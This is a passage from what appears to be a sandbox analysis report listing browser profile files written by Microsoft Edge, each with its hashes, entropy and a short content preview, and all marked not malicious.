Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13350008078330504","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF416ff.TMP (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9527
Entropy (8bit):	5.101672209902002
Encrypted:	false
SSDEEP:	192:stYtkdG+sejaFvrE9kO3x88bV+FLhQCeUg+PHYJ:stYtOsejCDabGNQEgb
MD5:	EBB62CEE5FD8AE686031DD133160A0D7
SHA1:	B0E6A8D1DC9647F02818DDB4CA4916957975C950
SHA-256:	7979B0F7E19E75686B0202CEFDE251CFDDE4AF228D8BE4E282836CCA50786DFD
SHA-512:	54BDCD9012471FD3DD17017837E4AFB55D084C5264730604736A7273651C0E6F353C8E268044DE65BEAE0B49B5BDD028050C76186F6A14D51B1D0FD3A5AEF7ED
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13350008078330504","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.56772451693725
Encrypted:	false
SSDEEP:	768:51/jT6Wt9W5wKIf4qN8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPjjInEJbrwX6pwtug:5hf6g9WaKIffNu1jaSy4wNt/
MD5:	75674FC394F39EBC49E5CE1082C0A139
SHA1:	3B33036C663B52A59861DB72830C52E9F9404847
SHA-256:	34B8151C6C182EEC634ADC5194FCD88E32C083ABAC8607ECB8B1CD5F20F99A5A
SHA-512:	6F6D869DA9CD19EBA651350D7D319F0F918603418AF31E6519AFE0BEF7A1D390628D2B6F01A4C0AAC1A8B0D8C9AF0F700F398BE3B4D149F228826A0F5CB62C61
Malicious:	false
Reputation:	unknown
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13350008076994171","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13350008076994171","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF4078e.TMP (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.56772451693725
Encrypted:	false
SSDEEP:	768:51/jT6Wt9W5wKIf4qN8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPjjInEJbrwX6pwtug:5hf6g9WaKIffNu1jaSy4wNt/
MD5:	75674FC394F39EBC49E5CE1082C0A139
SHA1:	3B33036C663B52A59861DB72830C52E9F9404847
SHA-256:	34B8151C6C182EEC634ADC5194FCD88E32C083ABAC8607ECB8B1CD5F20F99A5A
SHA-512:	6F6D869DA9CD19EBA651350D7D319F0F918603418AF31E6519AFE0BEF7A1D390628D2B6F01A4C0AAC1A8B0D8C9AF0F700F398BE3B4D149F228826A0F5CB62C61
Malicious:	false
Reputation:	unknown
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13350008076994171","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13350008076994171","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	979
Entropy (8bit):	6.137358925099882
Encrypted:	false
SSDEEP:	24:F2xc5NmcoocncmwXvLbBlj16vIXsl217gFOT1RBecJp5KiHyX6H60svO37:F2emNm3BNgv0sl2Rjp5KiSX6Ht2O37
MD5:	D94E80F27D8713CE9F961892741D6763
SHA1:	A91A9B878EC0C202F50E37222619E3C7B18A06F3
SHA-256:	642D78C5829A02AFC83D481900385315A93B0E0042E44C0C1775D1B2CAF869F5
SHA-512:	5973908445C5442D62620D6267B3C17F7FDDDB71D13F24D28B3841B44F7DB4507464487E3FC97068ADC36F7D37FDC9AB861261DABDE84E70D6A0AC52A47848DA
Malicious:	false
Reputation:	unknown
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2.95..................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1./INITDATA_UNIQUE_ORIGIN:https://www.youtube.com/...REG:https://www.youtube.com/.0......https://www.youtube.com/..https://www.youtube.com/sw.js .(.0.8.......@..Z...... WebViewXRequestedWithDeprecation...AvC9UlR6RDk2crliDsFl66RWLnTbHrDbp+DiY6AYz/PNQ4G4tdUTjrHYr2sghbkhGQAVxb7jaPTHpEVBz0uzQwkAAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTcxOTUzMjc5OSwiaXNTdWJkb21haW4iOnRydWV9b.....trueh..h..h..h..p.x..............................REGID_TO_ORIGIN:0.https://www.youtube.com/..RES:0.0f....https://www.youtube.com/sw.js..."@7DD4F0F173B086D77C5F466377397639A9613BF567C617323A1E44DC51E6AC80..URES:0..PRES:0..4................./INITDATA_UNIQUE_ORIGIN:https://www.youtube.com/..REG:https://www.youtube.com/.0..REGID_TO_ORIGIN:0..RES:0.0..PRES:0.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.139627705568394
Encrypted:	false
SSDEEP:	6:HvQZFuFB1N723oH+TcwtE/a252KLltvQjvM+q2PN723oH+TcwtE/a2ZIFUv:HIZsBaYeb8xLvIDM+vVaYeb8J2FUv
MD5:	758F4983F3AF71AEB0EBDB3F2DCDF469
SHA1:	5B5CE22B06F3B1C8C7D5C298F62F1F24CFA38E33
SHA-256:	E211030107D81789A46C0BA212D718B10338CCD159446058719B4F7F78F89444
SHA-512:	1FC5E18729F2C8EDA8EA8DA30FB34E3AC364AB4D5C3364D5BA70CCD44271D0889AAEB07F9607BC5BC8E06AF15642E94D936623F5ADDB0BEB317B13B5CFFFB7DD
Malicious:	false
Reputation:	unknown
Preview:	2024/01/18-00:34:45.729 22fc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/01/18-00:34:45.741 22fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Reputation:	unknown
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8055
Entropy (8bit):	6.971507792544795
Encrypted:	false
SSDEEP:	192:tQU+7KBVl+i/P/L/jSbFCI1fMdS5Jh4/CV5nexOu+ayEYi:g2jlHL/vk5b4/CV5Hu+JEYi
MD5:	7DF8B09A8C0A3C3D595B8C4EAE08F717
SHA1:	A7C1F6EA099C238925AFADBC86228915490AFF38
SHA-256:	59365F29189E39D03EADCF53CC92DD4F5E265357901AA0787D6A53B86FDD41EF
SHA-512:	3252AC1BF1BA3AF3689D85D6B4745AC68EC14D82F1D51554299B26BE16B3ACEA61091CED30AA82130BC78EE4FAD04AEC607B1B09E872CFE6CB702D541264120A
Malicious:	false
Reputation:	unknown
Preview:	0\r..m..........rSG.....0. self.addEventListener('install', event => {. event.waitUntil(self.skipWaiting());. });. self.addEventListener('activate', event => {. event.waitUntil(. self.clients.claim().then(() => self.registration.unregister()));. });. .A..Eo.......M...............eG..........z...m/.F...HTTP/1.1 200.content-type:text/javascript; charset=utf-8.x-content-type-options:nosniff.expires:Wed, 17 Jan 2024 23:34:47 GMT.date:Wed, 17 Jan 2024 23:34:47 GMT.cache-control:private, max-age=0.x-frame-options:SAMEORIGIN.origin-trial:AvC9UlR6RDk2crliDsFl66RWLnTbHrDbp+DiY6AYz/PNQ4G4tdUTjrHYr2sghbkhGQAVxb7jaPTHpEVBz0uzQwkAAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTcxOTUzMjc5OSwiaXNTdWJkb21haW4iOnRydWV9.permissions-policy:ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=*.c

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Reputation:	unknown
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.371249139908496
Encrypted:	false
SSDEEP:	3:+gHXTXl/lPldlxE/7tt3lfdcV:+Ijw/7D2
MD5:	6E71825A4CD3CC4E90A33C605DC2E02B
SHA1:	144C148C67397C290B28AB7610C03157851E4F19
SHA-256:	1292B11CB9E10BB716167F9D56E87F2608927EDE2D01D22A1A848917628385B2
SHA-512:	9393BEA86099CDD4C6E7A8321755429FCEF84D3D5BC11F85195964E738BBD204064B906673801DB8F2608202E74AA8B81787AFD2E651FCB9BB67A9263F38943F
Malicious:	false
Reputation:	unknown
Preview:	@...K...oy retne............. ...........X....,T........ ..........m/.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.371249139908496
Encrypted:	false
SSDEEP:	3:+gHXTXl/lPldlxE/7tt3lfdcV:+Ijw/7D2
MD5:	6E71825A4CD3CC4E90A33C605DC2E02B
SHA1:	144C148C67397C290B28AB7610C03157851E4F19
SHA-256:	1292B11CB9E10BB716167F9D56E87F2608927EDE2D01D22A1A848917628385B2
SHA-512:	9393BEA86099CDD4C6E7A8321755429FCEF84D3D5BC11F85195964E738BBD204064B906673801DB8F2608202E74AA8B81787AFD2E651FCB9BB67A9263F38943F
Malicious:	false
Reputation:	unknown
Preview:	@...K...oy retne............. ...........X....,T........ ..........m/.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF40ced.TMP (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.371249139908496
Encrypted:	false
SSDEEP:	3:+gHXTXl/lPldlxE/7tt3lfdcV:+Ijw/7D2
MD5:	6E71825A4CD3CC4E90A33C605DC2E02B
SHA1:	144C148C67397C290B28AB7610C03157851E4F19
SHA-256:	1292B11CB9E10BB716167F9D56E87F2608927EDE2D01D22A1A848917628385B2
SHA-512:	9393BEA86099CDD4C6E7A8321755429FCEF84D3D5BC11F85195964E738BBD204064B906673801DB8F2608202E74AA8B81787AFD2E651FCB9BB67A9263F38943F
Malicious:	false
Reputation:	unknown
Preview:	@...K...oy retne............. ...........X....,T........ ..........m/.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1097
Entropy (8bit):	4.504000652573519
Encrypted:	false
SSDEEP:	24:Ra0ZZZZ/fo7s9qhXnw3t0Q4hS0lzA5R3FN5zNe:tZZZZ/f2vhXw3t0QqS6M5RD5zQ
MD5:	2529DA2F738B780AC3F172E22EC4D865
SHA1:	8F3DB60650D1672DE11482B3EDBEA965DBDE0997
SHA-256:	4542C5EB04A9D6A6A84684B9214A6EEE3928D02BDB4588AA3357E902C598629D
SHA-512:	7E1BC73AFD1AD85AD0FD025904CD6202DADF79018F67FF66409661B4F63CC35D4C3D7E7AA50748D4EFE825CE9D50E801BB216E7519450262E9F7EA0029C274D0
Malicious:	false
Reputation:	unknown
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............']..f................next-map-id.1.Gnamespace-8d4c53e0_7de4_4220_9dc0_5982f8ace1b4-https://www.youtube.com/.0.hf.j................next-map-id.2.Knamespace-8d4c53e0_7de4_4220_9dc0_5982f8ace1b4-https://accounts.google.com/.1.9ON.................map-0-__sak..b8.................b8.................b8.................b8................1o................map-0-yt-remote-cast-availableR{.".d.a.t.a.".:.".f.a.l.s.e.".,.".c.r.e.a.t.i.o.n.".:.1.7.0.5.5.3.4.4.9.0.8.8.7.}...map-0-yt-remote-cast-installedP{.".d.a.t.a.".:.".t.r.u.e.".,.".c.r.e.a.t.i.o.n.".:.1.7.0.5.5.3.4.4.9.0.8.8.5.}..!map-0-yt-remote-fast-check-periodb{.".d.a.t.a.".:.".1.7.0.5.5.3.4.7.9.0.3.7.7.".,.".c.r.e.a.t.i.o.n.".:.1.7.0.5.5.3.4.4.9.0.3.7.7.}...map-0-yt-remote-session-appf{.".d.a.t.a.".:.".y.o.u.t.u.b.e.-.d.e.s.k.t.o.p.".,.".c.r.e.a.t.i.o.n.".:.1.7.0.5.5.3.4.4.9.0.3.7.7.}...map-0-yt-remote-se

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.065018015582751
Encrypted:	false
SSDEEP:	6:H/7L+q2PN723oH+TcwtrQMxIFUt8+OKWZmw++clLVkwON723oH+TcwtrQMFLJ:H/7L+vVaYebCFUt8+lW/++ALV5OaYebf
MD5:	712AEF2E3B16C797B00DF230EA66DB2D
SHA1:	36FE65B29FD1C39A902EBD71DE65E2E000064E1D
SHA-256:	6D1476896C0A9EC369BB70DE0A789FBC8E2CD30461B86EC782127CAD5D9B5E6C
SHA-512:	C21DC6B7C3720AF8401E6AF8633D1EEB2F80C40419031E670820E2C274EA75435CF0886A7D5DC1FBDA7845E8234E128E19D0A11CDD3229932FCC60C89E473E71
Malicious:	false
Reputation:	unknown
Preview:	2024/01/18-00:34:38.276 20ec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/01/18-00:34:38.282 20ec Recovering log #3.2024/01/18-00:34:38.321 20ec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.065018015582751
Encrypted:	false
SSDEEP:	6:H/7L+q2PN723oH+TcwtrQMxIFUt8+OKWZmw++clLVkwON723oH+TcwtrQMFLJ:H/7L+vVaYebCFUt8+lW/++ALV5OaYebf
MD5:	712AEF2E3B16C797B00DF230EA66DB2D
SHA1:	36FE65B29FD1C39A902EBD71DE65E2E000064E1D
SHA-256:	6D1476896C0A9EC369BB70DE0A789FBC8E2CD30461B86EC782127CAD5D9B5E6C
SHA-512:	C21DC6B7C3720AF8401E6AF8633D1EEB2F80C40419031E670820E2C274EA75435CF0886A7D5DC1FBDA7845E8234E128E19D0A11CDD3229932FCC60C89E473E71
Malicious:	false
Reputation:	unknown
Preview:	2024/01/18-00:34:38.276 20ec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/01/18-00:34:38.282 20ec Recovering log #3.2024/01/18-00:34:38.321 20ec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13350008079497770

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	9120
Entropy (8bit):	3.221172110946441
Encrypted:	false
SSDEEP:	96:3oAHdb16ar2QhPykgNAB5EAHdunN0r2QhPykgNAB5EfawlEDHdu:3RmJ0xgnAsNL0xgnuDs
MD5:	3FC03ACEFE903A8EF83556B2079EF863
SHA1:	5200038D583AFEABF38F6EC39C06E181CA51FDA7
SHA-256:	4EE579A84043498FD88DF11288FFB28BE94BD9D760089D9119C90163EC9B3772
SHA-512:	49BC8FFEE6BF38882DB47BB83762649BB08F7F3F288F56B58D548D5DCD624E7C3DD56EF8277F18038DA74D7412BA1B471D98864DF537A12DEA0C52F2F4950E11
Malicious:	false
Reputation:	unknown
Preview:	SNSS........[.u............[.u......".[.u............[.u........[.u........[.u........[.u....!...[.u................................[.u.[.u1..,....[.u$...8d4c53e0_7de4_4220_9dc0_5982f8ace1b4....[.u........[.u.....f$.........[.u....[.u........................[.u........................[.u...........................[.u........................[.u............[.u........https://www.youtube.com/....d...`...!...X....................................................................................................i..,....i..,...................................h...............................................8.......h.t.t.p.s.:././.w.w.w...y.o.u.t.u.b.e...c.o.m./.................................8.......0.......8....................................................................... .......................................................P...$...2.4.d.e.f.c.0.7.-.2.5.5.9.-.4.5.f.d.-.a.d.6.4.-.5.0.6.1.c.0.c.1.f.d.b.8.................P...$...4.3.3.3.7.d.9.7.-.9.7.6.8.-.4.4.9.e.-.b.b.3.c.-.1.7.8.6.9.c.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.090083080081175
Encrypted:	false
SSDEEP:	6:HZM+q2PN723oH+Tcwt7Uh2ghZIFUt8+8Zmw++iMVkwON723oH+Tcwt7Uh2gnLJ:HZM+vVaYebIhHh2FUt8+8/++iMV5OaYz
MD5:	9D39A10AB136D5D7AD2126AB933ACD14
SHA1:	BDD1EB4745077AF5729FCF1A84E001D6899DD497
SHA-256:	D1E8A4BE3C6731A5DBA139897E195DCF8E47E2D4A4E1F86264F18B34B231A237
SHA-512:	9FD09BC64A1A3EAD79E762518597A5690C0AD5EBB327C84918419E2B1EB63972D74FFB12128A62550A34E79EA34B00EDB6FFC2F74CE681F42ACA859B090D800E
Malicious:	false
Reputation:	unknown
Preview:	2024/01/18-00:34:37.031 22fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/01/18-00:34:37.037 22fc Recovering log #3.2024/01/18-00:34:37.043 22fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.090083080081175
Encrypted:	false
SSDEEP:	6:HZM+q2PN723oH+Tcwt7Uh2ghZIFUt8+8Zmw++iMVkwON723oH+Tcwt7Uh2gnLJ:HZM+vVaYebIhHh2FUt8+8/++iMV5OaYz
MD5:	9D39A10AB136D5D7AD2126AB933ACD14
SHA1:	BDD1EB4745077AF5729FCF1A84E001D6899DD497
SHA-256:	D1E8A4BE3C6731A5DBA139897E195DCF8E47E2D4A4E1F86264F18B34B231A237
SHA-512:	9FD09BC64A1A3EAD79E762518597A5690C0AD5EBB327C84918419E2B1EB63972D74FFB12128A62550A34E79EA34B00EDB6FFC2F74CE681F42ACA859B090D800E
Malicious:	false
Reputation:	unknown
Preview:	2024/01/18-00:34:37.031 22fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/01/18-00:34:37.037 22fc Recovering log #3.2024/01/18-00:34:37.043 22fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
